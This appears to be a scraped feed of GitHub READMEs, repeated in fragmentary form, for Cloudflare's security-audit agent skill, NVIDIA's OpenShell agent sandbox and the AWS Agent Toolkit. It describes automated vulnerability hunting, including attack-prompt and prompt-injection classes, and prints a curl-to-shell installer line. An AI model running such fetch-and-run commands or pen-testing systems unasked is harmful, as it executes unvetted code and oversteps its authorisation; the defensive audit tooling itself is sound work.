![\"link\"](\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\"){kind=icon}
https://docs.nvidia.com/openshell/latest/A coding-agent skill for multi-phase security audits with independently verified, machine-readable findings
A coding-agent skill that turns your agent into a security auditor. It orchestrates isolated agents through reconnaissance, coverage-led hunting, candidate validation, structured output, independent record verification, and target-neutral reporting.
\nThis is the skill that seeded Cloudflare's vulnerability discovery harness, described in Build your own vulnerability harness. The harness grew into a multi-stage, fleet-wide system; this skill is the single-repo starting point it evolved from.
\nThe skill runs a structured audit in six phases:
\narchitecture.md and coverage-ledger.json.confirmed, needs_validation, and rejected records to findings.json and validate them against report-schema.json.REPORT.md, FINDINGS-DETAIL.md, and NEEDS-VALIDATION.md from the verified records and coverage ledger.The parent runs validate-coverage-ledger.cjs after creating the ledger and after each later ledger update. It runs validate-findings.cjs in Phase 4 and again after every Phase 5 replacement.
The verdicts are distinct: confirmed has a complete source trace and bounded observed result, needs_validation has an exact unresolved fact and no severity, and rejected records a disproved candidate.
Multiple runs against the same repo are additive. The skill uses prior ledgers and findings to target gaps, revalidate changed source, and carry forward current-source evidence without treating stale or unresolved work as covered.
\n| File | \nPurpose | \n
|---|---|
SKILL.md | \n Setup, core principles, platform terminology, workflow overview, and audit anti-patterns | \n
RECONNAISSANCE.md | \n Phase 1 reconnaissance prompts and synthesis instructions | \n
HUNTING.md | \n Phase 2 orchestration, hunting methodology, and validation rules | \n
ATTACK-CLASSES.md | \n Core, wildcard, and obvious-things attack prompts | \n
MEMORY-SAFETY-AND-BINARY.md | \n Memory-safety, binary, and kernel hunting classes for native targets | \n
AI-AND-LLM.md | \n Prompt-injection, agent/tool, and output-handling hunting classes for LLM-backed targets | \n
WEB-PROTOCOL-AND-AUTH.md | \n HTTP request-framing, cache, and authentication-protocol hunting classes for HTTP-protocol and auth targets | \n
CLIENT-SIDE.md | \n DOM-injection, messaging-trust, UI-redress, and prototype-pollution hunting classes for client-side/browser targets | \n
SUPPLY-CHAIN-AND-RELEASE.md | \n Dependency, CI, release, signing, update, plugin, and extension hunting classes | \n
CLOUD-AND-DEPLOYMENT.md | \n IAM, infrastructure-as-code, container, serverless, ingress, and runtime-configuration hunting classes | \n
PROTOCOLS-RPC-AND-MESSAGING.md | \n RPC, serialization, queue, broker, webhook, and streaming-protocol hunting classes | \n
RESOURCE-EXHAUSTION-AND-AVAILABILITY.md | \n Shared resource, quota, queue, worker, and operator-spend hunting classes | \n
DATA-ISOLATION-AND-LIFECYCLE.md | \n Tenant isolation, cache, search, export, backup, migration, deletion, and restore hunting classes | \n
DESKTOP-MOBILE-AND-LOCAL-IPC.md | \n Native app, deep-link, webview, exported-component, helper, daemon, and local-IPC hunting classes | \n
VALIDATION-AND-REPORTING.md | \n Phases 3\u20136 candidate validation, structured output, record verification, and reporting | \n
report-schema.json | \n JSON schema for all three findings.json verdicts | \n
validate-findings.cjs | \n Zero-dependency validator for findings.json in Phases 4 and 5 | \n
validate-findings.test.cjs | \n Findings-validator tests and producer-compatible fixture checks | \n
validate-coverage-ledger.cjs | \n Zero-dependency validator for coverage-ledger.json in Phases 1\u20135 | \n
validate-coverage-ledger.test.cjs | \n Coverage-ledger validator tests | \n
Install the skill with the Skills CLI:
\nnpx skills add https://github.com/cloudflare/security-audit-skill \\\n --skill security-audit\nUse --global for a user-level installation:
npx skills add https://github.com/cloudflare/security-audit-skill \\\n --skill security-audit \\\n --global\nRun npx skills --help for agent-selection and non-interactive options.
Start your coding agent in (or pointed at) the codebase you want to audit, then ask it to do a security audit:
\nsecurity audit this codebase\nfind security vulnerabilities in ./src\ndo a security review, output to ~/audits/my-project\nThe skill activates automatically when the request matches its trigger (security audit, find vulnerabilities, pen-test the code, etc.). A direct codebase audit or pen-test request uses full audit mode. Security questions and focused vulnerability work use guidance mode unless you request report artifacts. In full audit mode, an unspecified output directory defaults to ~/security-audit-skill/<repo-name>/run-<N>. The workflow writes inside the target repository only when you explicitly select a directory that version control ignores.
needs_validation instead of executing target code.needs_validation with its exact unresolved fact.Questions, feedback, or comparing notes on AI-driven security tooling: security-ai-research@cloudflare.com
\nMIT -- see LICENSE.
", "summary": "A coding-agent skill for multi-phase security audits with independently verified, machine-readable findings
A coding-agent skill that turns your agent into a security auditor. It orchestrates isolated agents through reconnaissance, coverage-led hunting, candidate validation, structured output, independent record verification, and target-neutral reporting.
\nThis is the skill that seeded Cloudflare's vulnerability discovery harness, described in Build your own vulnerability harness. The harness grew into a multi-stage, fleet-wide system; this skill is the single-repo starting point it evolved from.
\nThe skill runs a structured audit in six phases:
\narchitecture.md and coverage-ledger.json.confirmed, needs_validation, and rejected records to findings.json and validate them against report-schema.json.REPORT.md, FINDINGS-DETAIL.md, and NEEDS-VALIDATION.md from the verified records and coverage ledger.The parent runs validate-coverage-ledger.cjs after creating the ledger and after each later ledger update. It runs validate-findings.cjs in Phase 4 and again after every Phase 5 replacement.
The verdicts are distinct: confirmed has a complete source trace and bounded observed result, needs_validation has an exact unresolved fact and no severity, and rejected records a disproved candidate.
Multiple runs against the same repo are additive. The skill uses prior ledgers and findings to target gaps, revalidate changed source, and carry forward current-source evidence without treating stale or unresolved work as covered.
\n| File | \nPurpose | \n
|---|---|
SKILL.md | \n Setup, core principles, platform terminology, workflow overview, and audit anti-patterns | \n
RECONNAISSANCE.md | \n Phase 1 reconnaissance prompts and synthesis instructions | \n
HUNTING.md | \n Phase 2 orchestration, hunting methodology, and validation rules | \n
ATTACK-CLASSES.md | \n Core, wildcard, and obvious-things attack prompts | \n
MEMORY-SAFETY-AND-BINARY.md | \n Memory-safety, binary, and kernel hunting classes for native targets | \n
AI-AND-LLM.md | \n Prompt-injection, agent/tool, and output-handling hunting classes for LLM-backed targets | \n
WEB-PROTOCOL-AND-AUTH.md | \n HTTP request-framing, cache, and authentication-protocol hunting classes for HTTP-protocol and auth targets | \n
CLIENT-SIDE.md | \n DOM-injection, messaging-trust, UI-redress, and prototype-pollution hunting classes for client-side/browser targets | \n
SUPPLY-CHAIN-AND-RELEASE.md | \n Dependency, CI, release, signing, update, plugin, and extension hunting classes | \n
CLOUD-AND-DEPLOYMENT.md | \n IAM, infrastructure-as-code, container, serverless, ingress, and runtime-configuration hunting classes | \n
PROTOCOLS-RPC-AND-MESSAGING.md | \n RPC, serialization, queue, broker, webhook, and streaming-protocol hunting classes | \n
RESOURCE-EXHAUSTION-AND-AVAILABILITY.md | \n Shared resource, quota, queue, worker, and operator-spend hunting classes | \n
DATA-ISOLATION-AND-LIFECYCLE.md | \n Tenant isolation, cache, search, export, backup, migration, deletion, and restore hunting classes | \n
DESKTOP-MOBILE-AND-LOCAL-IPC.md | \n Native app, deep-link, webview, exported-component, helper, daemon, and local-IPC hunting classes | \n
VALIDATION-AND-REPORTING.md | \n Phases 3\u20136 candidate validation, structured output, record verification, and reporting | \n
report-schema.json | \n JSON schema for all three findings.json verdicts | \n
validate-findings.cjs | \n Zero-dependency validator for findings.json in Phases 4 and 5 | \n
validate-findings.test.cjs | \n Findings-validator tests and producer-compatible fixture checks | \n
validate-coverage-ledger.cjs | \n Zero-dependency validator for coverage-ledger.json in Phases 1\u20135 | \n
validate-coverage-ledger.test.cjs | \n Coverage-ledger validator tests | \n
Install the skill with the Skills CLI:
\nnpx skills add https://github.com/cloudflare/security-audit-skill \\\n --skill security-audit\nUse --global for a user-level installation:
npx skills add https://github.com/cloudflare/security-audit-skill \\\n --skill security-audit \\\n --global\nRun npx skills --help for agent-selection and non-interactive options.
Start your coding agent in (or pointed at) the codebase you want to audit, then ask it to do a security audit:
\nsecurity audit this codebase\nfind security vulnerabilities in ./src\ndo a security review, output to ~/audits/my-project\nThe skill activates automatically when the request matches its trigger (security audit, find vulnerabilities, pen-test the code, etc.). A direct codebase audit or pen-test request uses full audit mode. Security questions and focused vulnerability work use guidance mode unless you request report artifacts. In full audit mode, an unspecified output directory defaults to ~/security-audit-skill/<repo-name>/run-<N>. The workflow writes inside the target repository only when you explicitly select a directory that version control ignores.
needs_validation instead of executing target code.needs_validation with its exact unresolved fact.Questions, feedback, or comparing notes on AI-driven security tooling: security-ai-research@cloudflare.com
\nMIT -- see LICENSE.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/NVIDIA/OpenShell", "url": "https://github.com/NVIDIA/OpenShell", "external_url": null, "title": "NVIDIA/OpenShell", "content_text": "", "content_html": "OpenShell is the safe, private runtime for autonomous AI agents.
https://docs.nvidia.com/openshell/latest/
![\"OpenShell\"](\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/docs/brand/assets/openshell-banner-light.png\")
\n \n \n![\"License\"](\"https://img.shields.io/badge/License-Apache_2.0-blue\"){kind=icon}
![\"PyPI\"](\"https://img.shields.io/badge/PyPI-openshell-orange?logo=pypi\"){kind=icon}
![\"Security](\"https://img.shields.io/badge/Security-Report%20a%20Vulnerability-red\"){kind=icon}
\n Important
\nNew in OpenShell 0.1.x: a stable release cadence, new isolation primitives, an expanded extension surface, and new APIs. Read the 0.1.0 upgrade guide.
\nOpenShell is the safe, private runtime for fleets of autonomous AI agents. Agents are most useful when they can read files, install packages, call APIs, and use credentials. OpenShell gives them that capability without giving them unrestricted access to your data, secrets, or network. You declare what each agent can touch in a policy, and OpenShell enforces it.
\nOpenShell governs what agents can do in two ways: it instruments the kernel to enforce policy on every file access, system call, and network connection at runtime, and it uses formal verification to check what a policy change would allow before it is applied.
\nSee Architecture for how the gateway, supervisor, and sandbox fit together.
\nYou need Linux, macOS on Apple Silicon, or Windows with WSL 2 (experimental), plus Docker, Podman, or host virtualization. See the Support Matrix for details.
\n![\"Documentation\"](\"https://img.shields.io/badge/docs-latest-brightgreen\"){kind=icon}
curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh\nopenshell sandbox create --name demo\nThe installer sets up the CLI and a local gateway. The default sandbox image is minimal Ubuntu with no agent installed. To run a real agent, follow Run Your First Agent: it runs OpenCode against a free OpenRouter model and shows how to approve new access as the agent needs it.
\nNetworkPolicy.main.Install the public OpenShell skills for your coding agent:
\nnpx skills add NVIDIA/OpenShell\nThe skills teach your agent to drive the OpenShell CLI, write sandbox policies, and debug gateways and inference routing. They live in skills/ and work without an OpenShell source checkout.
SDKs connect applications to an OpenShell gateway. They do not install the CLI. Use the same OpenShell release for the SDK and the gateway when possible.
\n| Language | \nInstall | \nDocs | \n
|---|---|---|
| Python | \nuv add openshell | \n README | \n
| TypeScript | \nnpm install @nvidia/openshell-sdk (GitHub Packages) | \n README | \n
| Go | \ngo get github.com/NVIDIA/OpenShell/sdk/go@latest | \n README | \n
| Rust | \ncargo add openshell-sdk --git https://github.com/NVIDIA/OpenShell --tag <release-tag> | \n Installation and usage | \n
OpenShell is built agent-first: it is developed with the same agent-driven workflows it enables. See CONTRIBUTING.md for development setup and the contribution workflow, and AGENTS.md for repository coding conventions.
\nOpenShell collects anonymous telemetry, limited to operational categories and counts, to help improve the project. It does not collect sandbox names, hostnames, file paths, prompts, credentials, provider or model names, or user content. To disable it, set OPENSHELL_TELEMETRY_ENABLED=false on the gateway, or server.telemetryEnabled=false for Helm installs. You can also compile telemetry out entirely. See Telemetry for details and the community telemetry reports for published usage trends.
This software automatically retrieves, accesses or interacts with external materials. Those retrieved materials are not distributed with this software and are governed solely by separate terms, conditions and licenses. You are solely responsible for finding, reviewing and complying with all applicable terms, conditions, and licenses, and for verifying the security, integrity and suitability of any retrieved materials for your specific use case. This software is provided \"AS IS\", without warranty of any kind. The author makes no representations or warranties regarding any retrieved materials, and assumes no liability for any losses, damages, liabilities or legal consequences from your use or inability to use this software or any retrieved materials. Use this software and the retrieved materials at your own risk.
\nThis project is licensed under the Apache License 2.0.
", "summary": "OpenShell is the safe, private runtime for autonomous AI agents.
https://docs.nvidia.com/openshell/latest/
\n \n \n
\n Important
\nNew in OpenShell 0.1.x: a stable release cadence, new isolation primitives, an expanded extension surface, and new APIs. Read the 0.1.0 upgrade guide.
\nOpenShell is the safe, private runtime for fleets of autonomous AI agents. Agents are most useful when they can read files, install packages, call APIs, and use credentials. OpenShell gives them that capability without giving them unrestricted access to your data, secrets, or network. You declare what each agent can touch in a policy, and OpenShell enforces it.
\nOpenShell governs what agents can do in two ways: it instruments the kernel to enforce policy on every file access, system call, and network connection at runtime, and it uses formal verification to check what a policy change would allow before it is applied.
\nSee Architecture for how the gateway, supervisor, and sandbox fit together.
\nYou need Linux, macOS on Apple Silicon, or Windows with WSL 2 (experimental), plus Docker, Podman, or host virtualization. See the Support Matrix for details.
\ncurl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh\nopenshell sandbox create --name demo\nThe installer sets up the CLI and a local gateway. The default sandbox image is minimal Ubuntu with no agent installed. To run a real agent, follow Run Your First Agent: it runs OpenCode against a free OpenRouter model and shows how to approve new access as the agent needs it.
\nNetworkPolicy.main.Install the public OpenShell skills for your coding agent:
\nnpx skills add NVIDIA/OpenShell\nThe skills teach your agent to drive the OpenShell CLI, write sandbox policies, and debug gateways and inference routing. They live in skills/ and work without an OpenShell source checkout.
SDKs connect applications to an OpenShell gateway. They do not install the CLI. Use the same OpenShell release for the SDK and the gateway when possible.
\n| Language | \nInstall | \nDocs | \n
|---|---|---|
| Python | \nuv add openshell | \n README | \n
| TypeScript | \nnpm install @nvidia/openshell-sdk (GitHub Packages) | \n README | \n
| Go | \ngo get github.com/NVIDIA/OpenShell/sdk/go@latest | \n README | \n
| Rust | \ncargo add openshell-sdk --git https://github.com/NVIDIA/OpenShell --tag <release-tag> | \n Installation and usage | \n
OpenShell is built agent-first: it is developed with the same agent-driven workflows it enables. See CONTRIBUTING.md for development setup and the contribution workflow, and AGENTS.md for repository coding conventions.
\nOpenShell collects anonymous telemetry, limited to operational categories and counts, to help improve the project. It does not collect sandbox names, hostnames, file paths, prompts, credentials, provider or model names, or user content. To disable it, set OPENSHELL_TELEMETRY_ENABLED=false on the gateway, or server.telemetryEnabled=false for Helm installs. You can also compile telemetry out entirely. See Telemetry for details and the community telemetry reports for published usage trends.
This software automatically retrieves, accesses or interacts with external materials. Those retrieved materials are not distributed with this software and are governed solely by separate terms, conditions and licenses. You are solely responsible for finding, reviewing and complying with all applicable terms, conditions, and licenses, and for verifying the security, integrity and suitability of any retrieved materials for your specific use case. This software is provided \"AS IS\", without warranty of any kind. The author makes no representations or warranties regarding any retrieved materials, and assumes no liability for any losses, damages, liabilities or legal consequences from your use or inability to use this software or any retrieved materials. Use this software and the retrieved materials at your own risk.
\nThis project is licensed under the Apache License 2.0.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/aws/agent-toolkit-for-aws", "url": "https://github.com/aws/agent-toolkit-for-aws", "external_url": null, "title": "aws/agent-toolkit-for-aws", "content_text": "", "content_html": "Official, AWS-supported MCP servers, skills, and plugins to help AI agents build on AWS
![\"License\"](\"https://img.shields.io/badge/License-Apache%202.0-blue.svg?sanitize=true\"){kind=icon}
![\"Build\"](\"https://github.com/aws/agent-toolkit-for-aws/actions/workflows/build.yml/badge.svg?sanitize=true\"){kind=icon}
![\"Status\"](\"https://img.shields.io/badge/status-GA-green.svg?sanitize=true\"){kind=icon}
Help AI coding agents build, deploy, and manage applications on AWS.
\nThe Agent Toolkit for AWS gives AI coding agents the tools, knowledge, and guardrails they need to work with AWS services. It works with the coding agents developers already use \u2014 including Claude Code, Codex, Cursor, Devin, Kiro, and fx.
\nUse the Agent Toolkit directly from your terminal with the AWS CLI:
\naws configure agent-toolkit\nSee the AWS CLI integration guide for setup, configuration, and usage instructions.
\nThe plugins are available on the official Anthropic marketplace (claude-plugins-official) which is added to your Claude Code installation by default. Use the following commands to install supported plugins from the toolkit:
For aws-core that covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment:
/plugin install aws-core@claude-plugins-official\n\n\nTip: If you get
\nPlugin not found, update your local marketplace index first:\n/plugin marketplace update claude-plugins-official\n
For aws-agents that covers building AI agents on AWS with Amazon Bedrock and AgentCore:
/plugin install aws-agents@claude-plugins-official\nFor aws-data-analytics that covers data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena:
/plugin install aws-data-analytics@claude-plugins-official\nFor aws-agents-for-devsecops used to investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.
/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-agents-for-devsecops\n/reload-plugins\n\n# Or from Claude's official marketplace:\n/plugin install aws-agents-for-devsecops@claude-plugins-official\n/reload-plugins\n\n# Setup:\n/aws-agents-for-devsecops:setup\nFor aws-startup-advisor that covers startup-focused architecture, cost, security, and AWS Activate guidance, plus migrations to AWS from Azure, GCP, Heroku, and AI stacks such as OpenAI and Gemini, install from this repository's marketplace:
/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-startup-advisor@agent-toolkit-for-aws\n/reload-plugins\nIn your terminal:
\ncodex plugin marketplace add aws/agent-toolkit-for-aws\nThen launch Codex and run /plugins to browse and install the aws-core plugin.
Add this repository as a team marketplace from Settings \u2192 Plugins \u2192 Team Marketplaces \u2192 Add Marketplace \u2192 Import from Repo, pointing it at aws/agent-toolkit-for-aws. Cursor indexes the plugins listed in .cursor-plugin/marketplace.json on import.
Then open the Plugins panel and install the aws-core plugin (start here), or aws-agents and aws-data-analytics as needed. Each plugin bundles the AWS MCP Server configuration and agent skills.
\nIn your terminal:
\ndevin plugins install aws/agent-toolkit-for-aws#plugins/aws-core\nThis requires devin auth login and adds the plugin to your personal plugins, so it also loads in Devin cloud sessions and Devin Desktop. Add --local to install on this machine only. To install a different plugin, replace aws-core with its name from Plugins, such as aws-agents or aws-data-analytics.
In the Devin web app, choose Customize \u2192 Plugins \u2192 Add plugin \u2192 From repository, enter aws/agent-toolkit-for-aws, and set the subdirectory to plugins/aws-core (or another plugin's directory). Personal plugins added there are also available in the Devin CLI and Devin Desktop.
Kiro setup has two independent parts: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). They complement each other but work independently \u2014 skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.
\n1. Add the AWS MCP Server to your Kiro MCP configuration (.kiro/settings/mcp.json):
{\n \"mcpServers\": {\n \"aws\": {\n \"command\": \"uvx\",\n \"args\": [\n \"mcp-proxy-for-aws-cli@latest\",\n \"https://aws-mcp.us-east-1.api.aws/mcp\",\n \"--metadata\",\n \"AWS_REGION=us-west-2\"\n ]\n }\n }\n}\nThe MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.
\n2. Install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills\nThis installs skill files to ~/.kiro/skills/ (global) or .kiro/skills/ (project-level). Each skill is a directory containing a SKILL.md file and optionally a references/ subdirectory with additional context the agent reads from the local filesystem when needed. Kiro discovers installed skills automatically and activates them on demand when a task matches.
\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
fx setup has the same two independent parts as Kiro: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). Skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.
\n1. Add the AWS MCP Server from your terminal. fx stores MCP servers in ~/.fx/mcp.json, so the server is available in every project:
fx mcp add aws uvx mcp-proxy-for-aws-cli@latest https://aws-mcp.us-east-1.api.aws/mcp --metadata AWS_REGION=us-west-2\nOr add it to ~/.fx/mcp.json by hand. fx uses the mcp key rather than mcpServers, type to select the transport, and a single command array holding the executable and its arguments:
{\n \"mcp\": {\n \"aws\": {\n \"type\": \"local\",\n \"command\": [\n \"uvx\",\n \"mcp-proxy-for-aws-cli@latest\",\n \"https://aws-mcp.us-east-1.api.aws/mcp\",\n \"--metadata\",\n \"AWS_REGION=us-west-2\"\n ]\n }\n }\n}\nIf a session is already open when you edit the file, run /mcp reload to pick up the change. The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.
2. Install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills -a fx\nThis installs skill files to .fx/skills/ (project-level); add -g to install to ~/.fx/skills/ (global). fx also discovers skills already installed for other agents in .agents/skills/, .claude/skills/, and .codex/skills/, so a project set up for Codex or Claude Code needs no second copy. Each skill is a directory containing a SKILL.md file and optionally a references/ subdirectory with additional context the agent reads from the local filesystem when needed. fx reads skill metadata at startup and loads a skill's instructions when you or the agent invokes it; type $ in the composer or run /skills to browse what's installed.
\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
See the AWS MCP Server getting started guide for instructions on configuring the AWS MCP Server with your agent.
\nThen install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills\n\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
Plugins bundle the AWS MCP Server configuration and agent skills into a single install for your coding agent.
\n| Plugin | \nDescription | \n
|---|---|
| aws-core | \nCore AWS skills and MCP Server configuration. Covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment. Start here. | \n
| aws-agents | \nSkills for building AI agents on AWS with Amazon Bedrock and AgentCore. | \n
| aws-data-analytics | \nSkills for data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena. | \n
| aws-agents-for-devsecops | \nInvestigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent. | \n
| aws-startup-advisor | \nPuts an AWS Startups Solutions Architect in your coding assistant. Recommends the smallest architecture for your stage, credits, and team, then can scaffold it, migrate you from Azure, Google Cloud, or Heroku, move model calls to Amazon Bedrock, investigate production incidents, answer AWS Activate credits eligibility questions, and find startup offers you can use. | \n
Plugins are currently available for Claude Code, Codex, Cursor, and Devin. For other agents, configure the AWS MCP Server directly and install skills from this repository.
\nAgent skills are curated packages of instructions and reference materials that help agents complete specific AWS tasks. Skills are loaded on demand \u2014 agents discover and retrieve only what's relevant to the current task.
\nnpx skills add aws/agent-toolkit-for-aws/skills\nBrowse the skills/ directory to see all available skills.
Recommended project-level configuration files that tell agents how to use AWS most effectively \u2014 for example, by using the AWS MCP Server, discovering available skills, or searching documentation before acting.
\nSee rules/ for details.
The AWS MCP Server is a managed server that gives agents access to AWS through the Model Context Protocol. It provides:
\nFor details on operation, available tools, authentication, and supported Regions, see the AWS MCP Server documentation.
\nIn 2025, AWS began releasing MCP servers, skills, and plugins as part of AWS Labs. The Agent Toolkit for AWS is the successor to those tools. We recommend using the Agent Toolkit for AWS, because it offers key features including:
\nAWS Labs MCP servers, skills, and plugins will continue to work and accept contributions, and over time the best of AWS Labs will be transitioned to the Agent Toolkit for AWS to ensure that customers can access the broadest array of tooling and guidance for their agents.
\nThis project is licensed under the Apache-2.0 License. See LICENSE for details.
", "summary": "Official, AWS-supported MCP servers, skills, and plugins to help AI agents build on AWS
Help AI coding agents build, deploy, and manage applications on AWS.
\nThe Agent Toolkit for AWS gives AI coding agents the tools, knowledge, and guardrails they need to work with AWS services. It works with the coding agents developers already use \u2014 including Claude Code, Codex, Cursor, Devin, Kiro, and fx.
\nUse the Agent Toolkit directly from your terminal with the AWS CLI:
\naws configure agent-toolkit\nSee the AWS CLI integration guide for setup, configuration, and usage instructions.
\nThe plugins are available on the official Anthropic marketplace (claude-plugins-official) which is added to your Claude Code installation by default. Use the following commands to install supported plugins from the toolkit:
For aws-core that covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment:
/plugin install aws-core@claude-plugins-official\n\n\nTip: If you get
\nPlugin not found, update your local marketplace index first:\n/plugin marketplace update claude-plugins-official\n
For aws-agents that covers building AI agents on AWS with Amazon Bedrock and AgentCore:
/plugin install aws-agents@claude-plugins-official\nFor aws-data-analytics that covers data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena:
/plugin install aws-data-analytics@claude-plugins-official\nFor aws-agents-for-devsecops used to investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.
/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-agents-for-devsecops\n/reload-plugins\n\n# Or from Claude's official marketplace:\n/plugin install aws-agents-for-devsecops@claude-plugins-official\n/reload-plugins\n\n# Setup:\n/aws-agents-for-devsecops:setup\nFor aws-startup-advisor that covers startup-focused architecture, cost, security, and AWS Activate guidance, plus migrations to AWS from Azure, GCP, Heroku, and AI stacks such as OpenAI and Gemini, install from this repository's marketplace:
/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-startup-advisor@agent-toolkit-for-aws\n/reload-plugins\nIn your terminal:
\ncodex plugin marketplace add aws/agent-toolkit-for-aws\nThen launch Codex and run /plugins to browse and install the aws-core plugin.
Add this repository as a team marketplace from Settings \u2192 Plugins \u2192 Team Marketplaces \u2192 Add Marketplace \u2192 Import from Repo, pointing it at aws/agent-toolkit-for-aws. Cursor indexes the plugins listed in .cursor-plugin/marketplace.json on import.
Then open the Plugins panel and install the aws-core plugin (start here), or aws-agents and aws-data-analytics as needed. Each plugin bundles the AWS MCP Server configuration and agent skills.
\nIn your terminal:
\ndevin plugins install aws/agent-toolkit-for-aws#plugins/aws-core\nThis requires devin auth login and adds the plugin to your personal plugins, so it also loads in Devin cloud sessions and Devin Desktop. Add --local to install on this machine only. To install a different plugin, replace aws-core with its name from Plugins, such as aws-agents or aws-data-analytics.
In the Devin web app, choose Customize \u2192 Plugins \u2192 Add plugin \u2192 From repository, enter aws/agent-toolkit-for-aws, and set the subdirectory to plugins/aws-core (or another plugin's directory). Personal plugins added there are also available in the Devin CLI and Devin Desktop.
Kiro setup has two independent parts: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). They complement each other but work independently \u2014 skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.
\n1. Add the AWS MCP Server to your Kiro MCP configuration (.kiro/settings/mcp.json):
{\n \"mcpServers\": {\n \"aws\": {\n \"command\": \"uvx\",\n \"args\": [\n \"mcp-proxy-for-aws-cli@latest\",\n \"https://aws-mcp.us-east-1.api.aws/mcp\",\n \"--metadata\",\n \"AWS_REGION=us-west-2\"\n ]\n }\n }\n}\nThe MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.
\n2. Install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills\nThis installs skill files to ~/.kiro/skills/ (global) or .kiro/skills/ (project-level). Each skill is a directory containing a SKILL.md file and optionally a references/ subdirectory with additional context the agent reads from the local filesystem when needed. Kiro discovers installed skills automatically and activates them on demand when a task matches.
\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
fx setup has the same two independent parts as Kiro: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). Skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.
\n1. Add the AWS MCP Server from your terminal. fx stores MCP servers in ~/.fx/mcp.json, so the server is available in every project:
fx mcp add aws uvx mcp-proxy-for-aws-cli@latest https://aws-mcp.us-east-1.api.aws/mcp --metadata AWS_REGION=us-west-2\nOr add it to ~/.fx/mcp.json by hand. fx uses the mcp key rather than mcpServers, type to select the transport, and a single command array holding the executable and its arguments:
{\n \"mcp\": {\n \"aws\": {\n \"type\": \"local\",\n \"command\": [\n \"uvx\",\n \"mcp-proxy-for-aws-cli@latest\",\n \"https://aws-mcp.us-east-1.api.aws/mcp\",\n \"--metadata\",\n \"AWS_REGION=us-west-2\"\n ]\n }\n }\n}\nIf a session is already open when you edit the file, run /mcp reload to pick up the change. The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.
2. Install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills -a fx\nThis installs skill files to .fx/skills/ (project-level); add -g to install to ~/.fx/skills/ (global). fx also discovers skills already installed for other agents in .agents/skills/, .claude/skills/, and .codex/skills/, so a project set up for Codex or Claude Code needs no second copy. Each skill is a directory containing a SKILL.md file and optionally a references/ subdirectory with additional context the agent reads from the local filesystem when needed. fx reads skill metadata at startup and loads a skill's instructions when you or the agent invokes it; type $ in the composer or run /skills to browse what's installed.
\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
See the AWS MCP Server getting started guide for instructions on configuring the AWS MCP Server with your agent.
\nThen install skills from this repository:
\nnpx skills add aws/agent-toolkit-for-aws/skills\n\n\nPrerequisites: You need uv installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the user guide for detailed setup instructions.
\n
Plugins bundle the AWS MCP Server configuration and agent skills into a single install for your coding agent.
\n| Plugin | \nDescription | \n
|---|---|
| aws-core | \nCore AWS skills and MCP Server configuration. Covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment. Start here. | \n
| aws-agents | \nSkills for building AI agents on AWS with Amazon Bedrock and AgentCore. | \n
